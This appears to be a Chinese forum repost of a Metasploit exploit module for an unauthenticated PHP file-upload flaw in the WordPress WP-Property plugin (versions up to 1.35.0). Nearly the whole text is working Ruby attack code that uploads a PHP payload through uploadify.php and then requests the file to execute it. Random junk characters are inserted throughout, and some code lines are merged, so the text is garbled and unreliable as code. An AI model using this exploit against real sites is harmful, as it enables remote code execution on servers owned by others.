WordPress WP-Property PHP 文件上传漏洞5 ?2 G- t( ^5 K; s- n; h7 P
" E% e1 \9 w ?7 c3 Q# U1 f
## # This file is part of the Metasploit Framework and may be subject to$ g6 Q5 c; e9 e X3 K8 M
6 Q, u/ I; V: s2 T7 U8 x$ j' u# redistribution and commercial restrictions. Please see the Metasploit
: {# B( q2 i) f3 F( R. v& a& C! r8 h8 ^9 f: q) u, `
# Framework web site for more information on licensing and terms of use.' B7 J! `0 ]7 m( ~! X% t2 [6 ]) R8 ?
. A H& M( k5 X7 T
# http://metasploit.com/framework/ ##
8 p) {5 }- S& k; p$ m9 F% M6 B# w0 t" g# A9 M
: }+ [1 f+ v- E! F' Y7 H* m: _6 k# d# Y' ]. k% j' A7 ^
/ A x( ?3 S5 X4 Z" p* _8 V" @& q j* l! s
require 'msf/core'; x8 _2 T- [& ]
require 'msf/core/exploit/php_exe'
% v+ H! R) q* \& y! q, k" J
" _9 H: M" a' ~( Fclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',2 M/ d3 g" f2 N5 R& p4 E* Q
'Description' => %q{
# d, \5 d9 |- k5 \' u! y( }6 GThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
; {; a' i" Y; C) M1 L* N+ P7 _3 o[
* D' f" M, q( X) L7 ?- s'Sammy FORGIT', # initial discovery' X0 g& e9 U! E! N* z9 G
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. A ?( Y: W: ^2 G3 Q6 p+ {8 I],' X. F: ~( }' B1 L5 v
'License' => MSF_LICENSE,
1 Q, t# v) C, [) c' l' ~4 _: {. ['References' =>+ U4 \3 V. w2 ?% |2 A, H. z
[! _ c' I' C4 {' `+ Z5 L. j" ^
[ 'OSVDB', '82656' ],+ O" v* G( p9 E& c6 W# r
[ 'BID', '53787' ],
9 k! e# a" n# }: h$ A[ 'EDB', '18987'],3 C+ i: U* L. C8 t! ]) L
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]$ ~6 R7 Q2 G/ C) I
],6 \4 j) K1 t' e
'Payload' =>
' V n1 u0 g/ W6 a% T{
0 |1 {9 L" S& s'BadChars' => "\x00",
( ^- k. w+ u7 H5 q' f8 m& D+ L8 A+ T4 ]},6 Q# d8 ]& y }
'Platform' => 'php',
: c# ~+ H/ G4 {5 U- _2 p'Arch' => ARCH_PHP,6 I" D9 j; b- n& E) w6 F* W h
'Targets' =>2 i; K( n- w9 o9 T$ |/ d
[/ d+ |0 U Y8 V- E) ]
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],. N( w% z* \% A$ Z; O& U6 Y9 ]5 }
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
3 O' N' t7 v# Y6 O],7 n+ X! U! r* ^: [6 X* ?
'DefaultTarget' => 0,
% O* z- e. V/ q M; F' O; A+ D# \'DisclosureDate' => 'Mar 26 2012'))
- g5 E7 x: i9 P3 [- _) q0 h& a* a2 a3 V! ^
register_options(. b* \/ W f) s* B9 O, A2 f* m
[+ X- _5 U. b7 W( }
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])6 J2 Y5 L* B% W% n6 J
], self.class)
k& H; l) b* P$ T( uend
4 C% P9 z5 R; r% F
" Q( ]/ n- Z! ?' p' O9 S5 S( w5 Jdef check; p- {: Y* x/ @" u
uri = target_uri.path' \( |& W! f: m. y6 K8 T# K
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
) h% H8 M* P0 ^'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" b- j7 z9 Q2 v
}). k4 q( U; g- b, A6 u1 }
/ _; `$ d Z9 w. {
if not res or res.code != 200
$ f2 m" z& z1 Q! A {' ]! S& treturn Exploit::CheckCode::Unknown- {) F" n! \7 H4 J
end6 e$ p* c" D4 P
8 d: ` H3 Z3 g& [1 Zreturn Exploit::CheckCode::Appears8 X* O8 T" P1 v T: ~% v: Y
end2 ?7 V) t) h1 e( w. T1 M6 A) r/ E
/ e% ]! E* p$ c/ O/ Sdef exploit
' Y& V" C8 p5 e, w& G- ]# J8 vuri = target_uri.path$ y) l& j! v4 N$ N
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)+ v7 n$ a- Y$ f! d, c, W" i
- k) j" T( t; Y. u8 ?9 @, B
data = Rex::MIME::Message.new$ F# E( q9 F6 I# H
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")7 A4 T1 v3 `% }* S3 f; O7 A: B
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
2 K9 D1 e8 R2 o: ppost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
; Q4 L/ \3 K* v' C; h- |7 c2 w$ S2 z2 _
print_status("#{peer} - Uploading payload #{@payload_name}")0 [# k9 z9 d, D7 g2 F
res = send_request_cgi({
7 J7 Q$ g2 {) E. l) [8 h- g'method' => 'POST',# M5 g* ?% H6 l7 L9 F, J3 K
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",4 j. d* F1 `! }
'ctype' => "multipart/form-data; boundary=#{data.bound}",
# v3 s/ T; |6 w+ X! N$ C$ r# J/ h'data' => post_data
- l: \( I3 d! F7 d})2 `% V Y( a- A1 y2 m& {( ^& s
% r2 ]( N3 v5 G; X6 ^- W0 t
if not res or res.code != 200 or res.body !~ /#{@payload_name}/* z" H3 q8 Z, O$ o8 f3 N3 y
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 i; ^ }, C% b9 f3 S/ s5 _
end# f( w9 l5 [) J/ Y+ g4 m1 i
8 d3 i/ Q: Y3 s0 P; u4 T6 g6 a+ Q6 R
upload_uri = res.body
$ v* ?3 I8 B. y* S/ n. Z8 n' F' y3 [: e; H
print_status("#{peer} - Executing payload #{@payload_name}")
% s# I6 N' J9 J2 z/ Eres = send_request_raw({) a: O6 ?, O3 Z. Z" ^
'uri' => upload_uri,! w4 G5 @- w6 {
'method' => 'GET'! ^! b2 F& x- Z0 B5 x& V, E; r
})
" k% M! R4 s1 t4 `: J2 w9 Bend
! [% k& y* @! E* Wend- R& E1 v% [/ ~. {* c
5 m {) T; ~* a) A- ?4 s
不要问我这写的是什么 怎么利用 我是说msf.. G% e8 U: r. }1 S, c/ h0 G
: k) q' `, g h) z1 a% d6 } |